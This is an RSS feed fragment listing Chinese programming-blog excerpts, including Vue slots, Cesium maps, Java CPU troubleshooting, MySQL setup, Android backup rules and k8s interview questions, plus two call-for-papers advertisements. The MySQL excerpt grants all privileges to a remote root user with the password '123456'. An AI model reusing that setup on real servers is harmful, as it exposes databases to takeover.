最后的效果：&#xA;现在，我想在不改变student组件的前提下，给‘巧克力小猫猿’的上面添加一个‘加油’，于是我们可以使用插槽。&#xA;插槽其实很简单，结合定义不难理解。我们可以在子组件中给父组件挖一个坑，父组件把内容放入子组件的坑中：&#xA;子组件中用slot标签挖坑&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;student&#34;&amp;gt; &amp;lt;slot&amp;gt;&amp;lt;/slot&amp;gt; &amp;lt;h3&amp;gt;巧克力小猫猿&amp;lt;/h3&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; 在父组件中填坑：&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;Student&amp;gt;加油&amp;lt;/Student&amp;gt; &amp;lt;Student&amp;gt;&amp;lt;/Student&amp;gt; &amp;lt;Student&amp;gt;&amp;lt;/Student&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; 于是可以看到效果：&#xA;同样如果我们想给’巧克力小猫猿’的下面添加一个加油，我们可以把坑挖在此结构的下面：&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;student&#34;&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>记录一次vue2使用cesium&#43;天地图</title>
      <link>https://bchobby.github.io/posts/e8bdedef71edbb3a935ded502204ea7a/</link>
      <pubDate>Fri, 01 Dec 2023 11:37:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8bdedef71edbb3a935ded502204ea7a/</guid>
      <description>引入cesium npm install cesium --save 安装完成后在node_modules 依赖包里面找到cesium目录下的Build文件夹，将里面的Cesium 文件夹复制到public文件夹下&#xA;在index.html文件里引入&#xA;&amp;lt;script type=&#34;text/javascript&#34; src=&#34;./Cesium/Cesium.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;./Cesium/Widgets/widgets.css&#34;&amp;gt; 因为我看天地图的官网demo需要引入cesiumTdt.js，所以我也下载了cesiumTdt.js放在public文件夹下的Cesium 文件夹里并引入&#xA;&amp;lt;script type=&#34;text/javascript&#34; src=&#34;./Cesium/cesiumTdt.js&#34; &amp;gt;&amp;lt;/script&amp;gt; 使用Cesium&#xA;先去cesium申请token &amp;lt;template&amp;gt; &amp;lt;div id=&#34;my-map&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; export default { name: &#34;TianMap&#34;, data() { return { viewer: null, scene: null, pointList: [], poinEntity: {}, pointsMsg: {} } }, mounted() { this.init() }, methods: { init() { Cesium.Ion.defaultAccessToken = &#39;你的Cesium token&#39; this.viewer = new Cesium.Viewer(&#39;my-map&#39;, { homeButton: false, sceneModePicker: false, baseLayerPicker: false, // 影像切换 animation: false, // 是否显示动画控件 infoBox: false, // 是否显示点击要素之后显示的信息 selectionIndicator: false, // 要素选中框 geocoder: false, // 是否显示地名查找控件 timeline: false, // 是否显示时间线控件 fullscreenButton: false, shouldAnimate: false, navigationHelpButton: false, // 是否显示帮助信息控件 }); this.</description>
    </item>
    <item>
      <title>java进程cpu耗用率非常高-排查方法</title>
      <link>https://bchobby.github.io/posts/7560d4f6713f9f2fe2424000445ad4fc/</link>
      <pubDate>Fri, 01 Dec 2023 11:17:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7560d4f6713f9f2fe2424000445ad4fc/</guid>
      <description> 某java进程CPU耗用率非常高 下面启动一个java进程，模拟如何排查java进程cpu使用率非常高的情况。&#xA;top 查看CPU耗用率最高的java进程ID，得到进程ID，如：31876 #使用进程ID查看该进程的线程 top -H -p 31876 #找到最高的线程ID，如线程ID是31876，需要将线程ID转换为16进制 printf &#39;0x%x\n&#39; 31876 0x7c94 #使用jstack命令排查,jstack在java-1.8.0-openjdk-devel包中，没有这个命令需要先安装 yum install java-1.8.0-openjdk-devel -y #使用jstack命令排查, jstack 进程ID | grep -C 20 &#39;16进制的线程ID&#39; jstack 31876 | grep -C 20 &#39;0x7c94&#39; </description>
    </item>
    <item>
      <title>Python实现pdf文件转word文件</title>
      <link>https://bchobby.github.io/posts/b3cc7dd7561e855f0605c3a91df72f67/</link>
      <pubDate>Fri, 01 Dec 2023 10:47:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3cc7dd7561e855f0605c3a91df72f67/</guid>
      <description>日常生活中，当遇到需要将某个PDF文件转换为Word格式文件时，一般是通过一些在线格式转换的网站，或者软件来完成，但我们也可以使用python来完成这个需求（当然，这种方法仅能够满足大部分的格式）。&#xA;前提： 使用pdf2docx库，在保持原来内容格式不变的情况下将PDF转换为Word，它专门用于在不丢失格式的情况下将PDF文件转换为Word文件。此库的安装可能需要一些依赖项，例如pandas 和 tqdm，可以使用以下命令安装：&#xA;pip install pdf2docx pandas tqdm 由于需要调用文件路径，所以需要使用OS库。&#xA;场景一：单文件转换。 需要修改代码中的pdf_file_path地址替换为所需要转换的pdf文件地址。（地址中的转义字符“\”替换成“\\”或者用//）&#xA;import os from pdf2docx import Converter def pdf_to_docx(pdf_path): # 获取PDF文件所在的目录 pdf_directory = os.path.dirname(pdf_path) # 生成Word文件的路径 pdf_filename = os.path.splitext(os.path.basename(pdf_path))[0] docx_filename = pdf_filename + &#34;_converted.docx&#34; docx_path = os.path.join(pdf_directory, docx_filename) # 使用pdf2docx库将PDF转换为Word cv = Converter(pdf_path) cv.convert(docx_path, start=0, end=None) cv.close() return docx_path if __name__ == &#34;__main__&#34;: # 用法示例 pdf_file_path = &#34;C://Users//Desktop//test.pdf&#34; # 调用pdf_to_docx函数进行转换 generated_docx_path = pdf_to_docx(pdf_file_path) print(f&#34;Word文件已生成：{generated_docx_path}&#34;) 场景二：某个文件夹内所有的pdf文件转换， 需要将input_pdf_folder替换成所要转换的pdf文件夹，其次将output_docx_folder设置为输出的文件夹。&#xA;import os from pdf2docx import Converter def convert_pdfs_to_docx(input_folder, output_folder): # 确保输出目录存在，如果不存在则创建 os.</description>
    </item>
    <item>
      <title>【火热征稿|投稿优惠】2024年通信网络与光电信息国际学术会议(ICCNOI 2024)</title>
      <link>https://bchobby.github.io/posts/c84ec47e96cdba7b9fc3239e4d32eb3b/</link>
      <pubDate>Fri, 01 Dec 2023 10:42:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c84ec47e96cdba7b9fc3239e4d32eb3b/</guid>
      <description>【火热征稿|投稿优惠】2024年通信网络与光电信息国际学术会议(ICCNOI 2024)&#xA;2024 International Conference Communication Network and Optoelectronic Information(ICCNOI 2024)&#xA;一、【会议简介】&#xA;这个会议的主题可谓是紧跟时代步伐，紧密围绕通信网络与光电信息两大核心领域。在这里，专家学者们将共聚一堂，交流最新的研究成果，探讨最前沿的科学问题。会议的议题范围广泛，包括但不限于通信网络技术、光电信息处理、光电子器件等领域。&#xA;二、【征稿主题】主题包括但不限于以下&#xA;传播理论&#xA;传播建模理论与实践&#xA;通信信号处理&#xA;人机交互&#xA;绿色通信系统&#xA;网络和无线通信&#xA;光通信和光网络&#xA;5G通信和网络&#xA;遥感和卫星通信&#xA;有线传感器和通信网络&#xA;通信渠道和移动设备&#xA;网络与信息安全技术&#xA;卫星通信技术&#xA;现代光纤通信技术&#xA;汇编语言编程&#xA;光电子学和技术&#xA;光电信息工程&#xA;光电信号获取&#xA;光通信&#xA;光电信息处理&#xA;光纤通信与系统&#xA;光存储与光显示&#xA;光电测控与光电传感&#xA;光电探测技术与器件&#xA;光电信息应用&#xA;光电成像技术&#xA;光电检测技术&#xA;光电仪器设计&#xA;光电器件&#xA;光通信和信息系统&#xA;微机电系统&#xA;数字图像处理&#xA;数字电子技术&#xA;通信与数据传输&#xA;光通信器件&#xA;三、【重要信息】&#xA;投稿邮箱：s19113133262@163.com&#xA;投稿时请邮箱正文备注：论文投稿+苏老师推荐+投稿人姓名&#xA;最终截稿时间：请查看官网&#xA;接受/拒稿：投稿后2-3日内通知&#xA;四、【论文提交】&#xA;1. 文章需全英文，重复率低于30%。&#xA;2. 文章必须要有题目、作者、单位、邮箱、关键词、摘要、必要的图表、结论、参考文献等。&#xA;3. 投稿流程：投稿→审稿→录用→注册→开具增值税普票（专票）→电子版→纸质版→检索。&#xA;4. 请勿一稿多投，所有稿件将接受两三名专家进行评审&#xA;五、【联系我们】&#xA;邮箱：s19113133262@163.com&#xA;备注：你的名字+苏老师推荐，享投稿优惠+优先审稿</description>
    </item>
    <item>
      <title>【学生特惠|权威主办】2024年工业设计与建筑土木国际学术会议(ICIDBCE 2024)</title>
      <link>https://bchobby.github.io/posts/8351624b78b1e4d5089d7c7f578abffe/</link>
      <pubDate>Fri, 01 Dec 2023 10:35:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8351624b78b1e4d5089d7c7f578abffe/</guid>
      <description>【学生特惠|权威主办】2024年工业设计与建筑土木国际学术会议(ICIDBCE 2024)&#xA;2024 International Conference Industrial Design and Building Civil Engineering(ICIDBCE 2024)&#xA;一、【会议简介】&#xA;在这次会议上，来自全球各地的学者们纷纷展示他们的研究成果。有的团队研发了一种新型材料，具有轻质、高强度、环保等优点；有的团队设计了一种智能建筑，能够根据环境变化自动调节温度和湿度；还有的研究团队发现了一种新的建筑结构，能够提高建筑的抗震性能。这些研究成果不仅展示了工业设计和建筑土木领域的最新进展，也为未来的发展提供了新的思路和方向。&#xA;二、【征稿主题】主题包括但不限于以下&#xA;环境设计&#xA;环境设计理念&#xA;产品开发&#xA;产品设计&#xA;交互设计&#xA;环境设计&#xA;创新设计&#xA;计算机辅助设计&#xA;数字媒体艺术&#xA;多媒体艺术设计&#xA;分析与优化设计&#xA;环境与公共艺术设计&#xA;土木工程技术&#xA;土木勘测&#xA;土木工程机械&#xA;土木工程抗震&#xA;新型建筑技术&#xA;工程结构与抗震&#xA;工程监测检测技术&#xA;高层建筑工程技术&#xA;建筑改造技术&#xA;结构修复、改造和加固技术&#xA;混凝土结构、钢结构及技术&#xA;钢结构、金属结构技术&#xA;通风与空调工程技术&#xA;装饰装修、防水、基础技术&#xA;模板机具技术&#xA;建筑构件生产技术&#xA;建筑水暖电气&#xA;建筑电力系统&#xA;建筑设备安装技术&#xA;建筑施工技术&#xA;建筑节能技术&#xA;三、【重要信息】&#xA;投稿邮箱：s19113133262@163.com&#xA;投稿时请邮箱正文备注：论文投稿+苏老师推荐+投稿人姓名&#xA;最终截稿时间：请查看官网&#xA;接受/拒稿：投稿后2-3日内通知&#xA;四、【论文提交】&#xA;1. 文章需全英文，重复率低于30%。&#xA;2. 文章必须要有题目、作者、单位、邮箱、关键词、摘要、必要的图表、结论、参考文献等。&#xA;3. 投稿流程：投稿→审稿→录用→注册→开具增值税普票（专票）→电子版→纸质版→检索。&#xA;4. 请勿一稿多投，所有稿件将接受两三名专家进行评审&#xA;邮箱：ts19113133262@163.com&#xA;备注：你的名字+苏老师推荐，享投稿优惠+优先审稿</description>
    </item>
    <item>
      <title>2进制、10进制、16进制讲解</title>
      <link>https://bchobby.github.io/posts/b2fb43fdf299113730ee7165a5969954/</link>
      <pubDate>Fri, 01 Dec 2023 10:26:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2fb43fdf299113730ee7165a5969954/</guid>
      <description>二进制数：是计算技术中经常采用的一种数制。二进制数据是由0和1两个基本数码来表示的数。它的基数为2，进位规则是“逢二进一”，借位规则是“借一当二”。 十进制数：是组成以10为进位单位基础的数字系统，是以0，1，2，3， 4， 5， 6， 7， 8， 9十个基本数字组成。十进制计数是由印度教教徒在1500年前发明的，由阿拉伯人传承至11世纪。 十六进制（简写为hex或下标16）是一种基数为16的计数系统，是一种逢16进1的进位制。通常用数字0、1、2、3、4、5、6、7、8、9和字母A、B、C、D、E、F（a、b、c、d、e、f）表示，其中:A~F表示10~15，这些称作十六进制数字。 一般的数字是几进制：十进制 在线转换工具：https://c.runoob.com/unit-conversion/7994/</description>
    </item>
    <item>
      <title>vue2&#43;typescript使用高德地图2.0版本</title>
      <link>https://bchobby.github.io/posts/93b879e3845462e031884ebc2cc9630a/</link>
      <pubDate>Fri, 01 Dec 2023 09:47:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93b879e3845462e031884ebc2cc9630a/</guid>
      <description>高德地图 webjs api 2.0官网教程&#xA;AMap.Driving使用说明 &amp;lt;div class=&#34;mmp&#34;&amp;gt; &amp;lt;div id=&#34;map&#34; ref=&#34;mapcontainer&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script lang=&#34;ts&#34;&amp;gt; //安全密钥 window._AMapSecurityConfig={ securityJsCode: &#34;高德地图key密钥&#34;, } import { Component, Emit, Vue } from &#34;vue-property-decorator&#34;; import AMapLoader from &#34;@amap/amap-jsapi-loader&#34;; @Component export default class HomeView extends Vue { AMap: any = undefined; map: any = undefined; start: any = []; end: any = []; zoom: number = 10; getInMap() { AMapLoader.load({ key: &#34;高德地图key值&#34;, version: &#34;2.0&#34;, plugins: [&#34;AMap.Scale&#34;], }) .then((AMap: any) =&amp;gt; { this.</description>
    </item>
    <item>
      <title>利用yum搭配myspl数据库</title>
      <link>https://bchobby.github.io/posts/438981169c4cb24647d04ad48ebd7d08/</link>
      <pubDate>Fri, 01 Dec 2023 09:33:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/438981169c4cb24647d04ad48ebd7d08/</guid>
      <description>MySQL数据库简介 MySQL是一种开放源代码的关系型数据库管理系统（RDBMS），MySQL数据库系统使用最常用的数据库管理语言--结构化查询语言（SQL）进行数据库管理。&#xA;由于MySQL是开放源代码的，因此任何人都可以在General Public License的许可下下载并根据个性化的需要对其进行修改。MySQL因为其速度、可靠性和适应性而备受关注。大多数人都认为在不需要事务化处理的情况下，MySQL是管理内容最好的选择。&#xA;服务器准备 1,安装&#xA;[root@db01 ~]# yum install mariadb* -y 2,启动&#xA;[root@db01 ~]# systemctl start mariadb 3,测试链接&#xA;[root@db01 ~]# mysql 或者 [root@db01 ~]# mysql -uroot 4，创建远程链接用户&#xA;MariaDB [(none)]&amp;gt; grant all privileges on *.* to root@&#39;%&#39; identified by &#39;123456&#39;; 5，创建本地链接用户&#xA;MariaDB [(none)]&amp;gt; grant all privileges on *.* to &#39;root&#39;@&#39;localhost&#39; identified by &#39;123456&#39;; 6，刷新权限&#xA;MariaDB [(none)]&amp;gt; FLUSH PRIVILEGES; 7，退出并重新连接&#xA;MariaDB [(none)]&amp;gt; exit [root@db01 ~]# mysql -uroot -p123456 8、创建一个数据库并查看此数据库</description>
    </item>
    <item>
      <title>Mysql 中日期比较大小的方法有哪些？</title>
      <link>https://bchobby.github.io/posts/fb43b9ce63e8bd89e7dc4a2cea660456/</link>
      <pubDate>Fri, 01 Dec 2023 08:55:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb43b9ce63e8bd89e7dc4a2cea660456/</guid>
      <description>在 MySQL 中，你可以使用多种方法来比较日期的大小。以下是一些常用的方式：&#xA;使用比较运算符：&#xA;SELECT * FROM your_table WHERE your_date_column &amp;gt; &#39;2023-01-01&#39;;&#xA;这将选择日期列值大于 &#39;2023-01-01&#39; 的所有记录。&#xA;使用比较运算符和 NOW() 函数：&#xA;SELECT * FROM your_table WHERE your_date_column &amp;gt; NOW();&#xA;这将选择日期列值大于当前日期和时间的所有记录。&#xA;使用DATEDIFF函数：&#xA;SELECT * FROM your_table WHERE DATEDIFF(your_date_column, &#39;2023-01-01&#39;) &amp;gt; 0;&#xA;这将选择日期列值在 &#39;2023-01-01&#39; 之后的所有记录。​​DATEDIFF​​ 函数返回两个日期之间的天数差异。&#xA;使用DATE函数进行比较：&#xA;SELECT * FROM your_table WHERE DATE(your_date_column) &amp;gt; &#39;2023-01-01&#39;;&#xA;这将选择日期列值在 &#39;2023-01-01&#39; 之后的所有记录。​​DATE​​ 函数用于提取日期部分。&#xA;确保在比较日期时，你使用的日期格式和比较值的格式是一致的，以避免错误。日期比较时，MySQL 会将字符串转换为日期类型进行比较。</description>
    </item>
    <item>
      <title>【OJ比赛日历】快周末了，不来一场比赛吗？ #12.02-12.08 #15场</title>
      <link>https://bchobby.github.io/posts/fbc99005bc5961436d04ed966ac47937/</link>
      <pubDate>Thu, 30 Nov 2023 22:39:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbc99005bc5961436d04ed966ac47937/</guid>
      <description>CompHub[1] 实时聚合多平台的数据类(Kaggle、天池…)和OJ类(Leetcode、牛客…）比赛。本账号会推送最新的比赛消息，欢迎关注！&#xA;以下信息仅供参考，以比赛官网为准&#xA;目录&#xA;2023-12-02（周六） #4场比赛2023-12-03（周日） #7场比赛2023-12-04（周一） #无比赛2023-12-05（周二） #1场比赛2023-12-06（周三） #2场比赛2023-12-07（周四） #无比赛2023-12-08（周五） #1场比赛 2023-12-02（周六） #4场比赛 DEGwer&#39;s Doctoral Dissertation Cheering Contest🖥 AtCoder · ⚖️ ACM赛制🥳 12:00开始 · ⏳ 时长5hhttps://atcoder.jp/contests/DEGwer2023 2023年广东工业大学腾讯杯新生程序设计竞赛🖥 牛客(Nowcoder) · ⚖️ ACM赛制🥳 13:30开始 · ⏳ 时长4h#高校校赛https://ac.nowcoder.com/acm/contest/71512 第 132 场周赛🖥 AcWing · ⚖️ ACM赛制🥳 19:00开始 · ⏳ 时长1h 15minhttps://www.acwing.com/activity/content/3648/ Daiwa Securities Co. Ltd. Programming Contest 2023（AtCoder Beginner Contest 331）🖥 AtCoder · ⚖️ ACM赛制🥳 20:00开始 · ⏳ 时长1h 40minhttps://atcoder.jp/contests/abc331 2023-12-03（周日） #7场比赛 第 374 场周赛🖥 Leetcode · ⚖️ ACM赛制🥳 10:30开始 · ⏳ 时长1h 30minhttps://leetcode.</description>
    </item>
    <item>
      <title>电商项目之Web实时消息推送（附源码）</title>
      <link>https://bchobby.github.io/posts/284e38b23065b08bfa5d9c65092e8388/</link>
      <pubDate>Thu, 30 Nov 2023 22:00:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/284e38b23065b08bfa5d9c65092e8388/</guid>
      <description>文章目录 1 问题背景2 前言3 什么是消息推送4 短轮询5 长轮询5.1 demo代码 6 iframe流6.1 demo代码 7 SSE7.1 demo代码7.2 生产环境的应用 （重要） 8 MQTT 1 问题背景 扩宽自己的知识广度，研究一下web实时消息推送&#xA;2 前言 文章参考自Web 实时消息推送的 7 种实现方案针对一些比较重要的方式，我都会尽量敲出一份完整的demo代码，享受其中的编程乐趣。在SSE方式中，笔者延申思考，将他应用于电商支付的场景中，给出了比较合理的解决方案，但并未在生产环境中验证，仍待考证。 3 什么是消息推送 消息推送是指服务端将消息推送给客户端。常见的场景有：有人关注公众号，公众号推送消息给关注者；站内消息通知；未读邮件数量；监控告警数量等等。&#xA;4 短轮询 常见的http请求即是短轮询，由客户端发起请求，服务端接收请求并同步实时处理，最后返回数据给客户端。&#xA;5 长轮询 短轮询的异步方式即是长轮询，异步在哪里？客户端发起请求，web容器（比如tomcat）安排子线程去处理这些请求，将这些请求交给服务端后，无需阻塞等待结果，tomcat会立即安排该子线程理其他请求 ，tomcat以此接收更多的请求提升系统的吞吐量。服务端处理完请求再返回数据给客户端。&#xA;5.1 demo代码 因为一个ID可能会被多个长轮询请求监听，所以采用了guava包提供的Multimap结构存放长轮询，一个key可以对应多个value。一旦监听到key发生变化，对应的所有长轮询都会响应。&#xA;引入guava依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.google.guava&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;guava&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;31.1-jre&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 处理请求的接口：&#xA;package com.ganzalang.gmall.sse.controller; import com.google.common.collect.HashMultimap; import com.google.common.collect.Multimap; import com.google.common.collect.Multimaps; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.context.request.async.DeferredResult; import java.time.LocalDateTime; import java.</description>
    </item>
    <item>
      <title>2023-11-29 二分查找和移除元素</title>
      <link>https://bchobby.github.io/posts/031bbf87493ae42bcaf00c7b1cfe5920/</link>
      <pubDate>Thu, 30 Nov 2023 20:11:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/031bbf87493ae42bcaf00c7b1cfe5920/</guid>
      <description>数组理论基础，704. 二分查找，27. 移除元素 704. 二分查找：时间复杂度O(log n) 核心：注意使用二分法的区间！第一种[left,right]属于左闭右闭 left=0 right=x-1 while left==&amp;lt;=======right left=mid+1 right=mid-1 !&#xA;class Solution: def search(self, nums: List[int], target: int) -&amp;gt; int: left=0 right=len(nums)-1 while left&amp;lt;=right: mid=left+(right-left)//2 # 是防止整数过大导致int溢出 if nums[mid]==target: return mid elif nums[mid]&amp;gt;target: right=mid-1 else: left=mid+1 return -1 第二种[left,right)属于左闭右开 left=0 right=x while left==&amp;lt;==right left=mid+1 right=mid&#xA;class Solution: def search(self, nums: List[int], target: int) -&amp;gt; int: left=0 right=len(nums) while left&amp;lt;right: mid=left+(right-left)//2 # 是防止整数过大导致int溢出 习惯使用/是真除法 if nums[mid]==target: return mid elif nums[mid]&amp;gt;target: right=mid else : left=mid+1 return -1 需要注意的是：python中//才是整除，别与其他语言混乱了！</description>
    </item>
    <item>
      <title>android手机莫名其妙卸载重装有残留数据</title>
      <link>https://bchobby.github.io/posts/70b8f6bcbf601c636509c779b06a101a/</link>
      <pubDate>Thu, 30 Nov 2023 17:43:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70b8f6bcbf601c636509c779b06a101a/</guid>
      <description>参考文档：&#xA;https://developer.android.com/guide/topics/data/autobackup?hl=zh-cn&#xA;https://developer.android.com/about/versions/12/backup-restore#xml-changes&#xA;https://stackoverflow.com/questions/70365809/how-to-specify-to-not-allow-any-data-backup-with-androiddataextractionrules&#xA;问题描述：&#xA;最近包括1年前，也都发现了，某一些手机（特别是，有google框架服务的）在卸载后，安装回来，会加载到类似/data/data下面的cache内容，比如database，sharedPref，mmkv等。&#xA;问题的根源在于，从android6.0开始就支持一个自动备份。并且在android11，android12，均有更改。&#xA;进行影响你配置androidManifest.xml的三个点。&#xA;android:allowBackup=&#34;false&#34; android:fullBackupContent=&#34;false&#34; android:dataExtractionRules=&#34;@xml/data_extraction_rules&#34; data_extraction_rules.xml&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;!-- Sample data extraction rules file; uncomment and customize as necessary. See https://developer.android.com/about/versions/12/backup-restore#xml-changes for details. --&amp;gt; &amp;lt;data-extraction-rules&amp;gt; &amp;lt;cloud-backup&amp;gt; &amp;lt;exclude domain=&#34;root&#34; /&amp;gt; &amp;lt;exclude domain=&#34;file&#34; /&amp;gt; &amp;lt;exclude domain=&#34;database&#34; /&amp;gt; &amp;lt;exclude domain=&#34;sharedpref&#34; /&amp;gt; &amp;lt;exclude domain=&#34;external&#34; /&amp;gt; &amp;lt;/cloud-backup&amp;gt; &amp;lt;device-transfer&amp;gt; &amp;lt;exclude domain=&#34;file&#34; /&amp;gt; &amp;lt;exclude domain=&#34;database&#34; /&amp;gt; &amp;lt;exclude domain=&#34;sharedpref&#34; /&amp;gt; &amp;lt;exclude domain=&#34;external&#34; /&amp;gt; &amp;lt;exclude domain=&#34;root&#34; /&amp;gt; &amp;lt;/device-transfer&amp;gt; &amp;lt;/data-extraction-rules&amp;gt; 其中allowBackup，是老版本android必备。&#xA;其中fullBackupContent，是配置android11以下。</description>
    </item>
    <item>
      <title>python中的__name__是个啥？</title>
      <link>https://bchobby.github.io/posts/293730cc994946d571c58ecd465eb3cf/</link>
      <pubDate>Thu, 30 Nov 2023 16:42:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/293730cc994946d571c58ecd465eb3cf/</guid>
      <description>pycharm中随便打开一个文件，在special variables中能看到一个__name__的变量&#xA;在很多python脚本中，也经常能看到if name == &#34;main&#34;这样一行&#xA;所以_name_到底是个啥？&#xA;首先，我们可以确定这是一个str字符变量&#xA;“在 Python 中，name 是一个特殊的内置变量，它用于表示一个模块的名称。具体来说，它表示当前模块的名称或正在执行的脚本的名称。”&#xA;上面这句话是个官方解释，有可能有点云里雾里，看懂了又好像不懂。那是因为我们对模块和脚本这些概念不是十分清晰。&#xA;先来解释一下脚本（script）：脚本通常指一段可以直接执行的代码，以 .py 扩展名结尾。也就是平常自己写的py文件就是一个脚本。&#xA;模块（module）：模块也是py文件，只不过这个py文件有概念上的规范和限制，不是所有py文件都可以叫模块，必须是用来封装代码、使代码可以被重复使用、可以在不同的脚本中被导入和调用的py文件才称得上是module。&#xA;所以可以简单的理解：脚本就是广义的py文件（py文件也就是Python文件），模块是狭义的py文件，它们都是py文件。&#xA;ok，讲完了脚本和模块，说回正题。&#xA;当一个 Python 脚本被直接运行时，它的 name 会被设置为 “main”，表示该脚本正在作为主程序执行。而当一个模块被导入到其他脚本中时，它的 name 会被设置为模块的名称。这样一来，当你希望某个模块在被直接运行时执行一些特定的操作，但在被其他模块导入时不执行这些操作。通过将这些可执行的代码放在 if name == “main”: 条件判断内部，这些代码只有在模块作为主程序运行时才会被执行。这样，当你直接运行模块时，这些代码会被执行，但如果你将模块导入到其他地方，这些代码就不会执行。通过这种机制，你可以将模块中的功能区分为两种类型的代码，使代码更具模块化和可重用性。这也能确保在导入模块时不会执行无关的操作，只有在需要的时候才会执行。&#xA;举个例子就能很好明白了：&#xA;# 模块示例 def some_function(): print(&#34;This function can be reused in other modules.&#34;) if __name__ == &#34;__main__&#34;: # 这里的代码只有在该脚本直接运行时才会执行 print(&#34;This script is run directly.&#34;) # 可以在这里放置一些在直接运行时需要执行的操作 some_function() 当这个py文件作为主程序运行时，两个print都会输出，因为这时候的__name__是等于main的。如果这个py文件被做为module，导入道其他py文件去，在其他py文件中运行时，这个modele的__name__会被设置为他的模块名，这时候第二个print就不会执行了，也不会有任何输出。&#xA;现在，你明白了吗</description>
    </item>
    <item>
      <title>MAMP Pro v6.8.1(PHP/MySQL开发环境)</title>
      <link>https://bchobby.github.io/posts/bfe232259fb054c24fa6d856f11f92ff/</link>
      <pubDate>Thu, 30 Nov 2023 15:49:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bfe232259fb054c24fa6d856f11f92ff/</guid>
      <description>MAMP Pro是一款专为Mac用户设计的全功能本地服务器软件，可以将电脑变成一个完整的Web开发环境。无论个人开发者、网站管理员还是团队协作，MAMP Pro都提供了强大的工具和便捷的管理方式，能够更加高效地构建和测试网站。&#xA;MAMP Pro的基本功能包括集成AMP环境，即Apache、MySQL和PHP环境，这些是构建和运行现代网站所必需的核心组件。软件将这些组件集成在一起，通过直观的控制面板，使得安装和配置变得异常简单。只需几步操作，就能搭建起一个完整的本地服务器环境，省去了繁琐的手动配置过程。&#xA;除了基本的AMP环境，MAMP Pro还提供了一系列增强功能。例如，它内置了一个强大的虚拟主机管理器，可以轻松地创建和管理多个虚拟主机。每个虚拟主机都可以拥有独立的域名和配置，仿佛拥有了多个独立的服务器。这对于同时开发多个项目或为客户提供独立的测试环境非常有用。另外，MAMP Pro还集成了phpMyAdmin，一个功能强大的MySQL数据库管理工具，可以轻松地创建、编辑和管理数据库。&#xA;MAMP Pro v6.8.1(PHP/MySQL开发环境)</description>
    </item>
    <item>
      <title>k8s面试题大全（持续更新中）</title>
      <link>https://bchobby.github.io/posts/1f50410ed7ef42a3aeb109fcfa273aa5/</link>
      <pubDate>Thu, 30 Nov 2023 15:17:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f50410ed7ef42a3aeb109fcfa273aa5/</guid>
      <description>目录 前言docker的工作原理是什么，讲一下docker的组成包含哪几大部分docker与传统虚拟机的区别什么？docker技术的三大核心概念是什么？centos镜像几个G，但是docker centos镜像才几百兆，这是为什么？讲一下镜像的分层结构以及为什么要使用镜像的分层结构？讲一下容器的copy-on-write特性，修改容器里面的内容会修改镜像吗？简单描述一下Dockerfile的整个构建镜像过程Dockerfile构建镜像出现异常，如何排查？Dockerfile的基本指令有哪些？如何进入容器？使用哪个命令什么是k8s？说出你的理解k8s的组件有哪些，作用分别是什么？kubelet的功能、作用是什么？（重点，经常会问）kube-api-server的端口是多少？各个pod是如何访问kube-api-server的？k8s中命名空间的作用是什么？k8s提供了大量的REST接口，其中有一个是Kubernetes Proxy API接口，简述一下这个Proxy接口的作用，已经怎么使用。pod是什么？pod的原理是什么？pod有什么特点？pause容器作用是什么？pod的重启策略有哪些？pod的镜像拉取策略有哪几种？pod的存活探针有哪几种？（必须记住3种探测方式，重点，经常问）存活探针的属性参数有哪几个？pod的就绪探针有哪几种？（必须记住3种探测方式，重点，经常问）就绪探针的属性参数有哪些就绪探针与存活探针区别是什么？简单讲一下 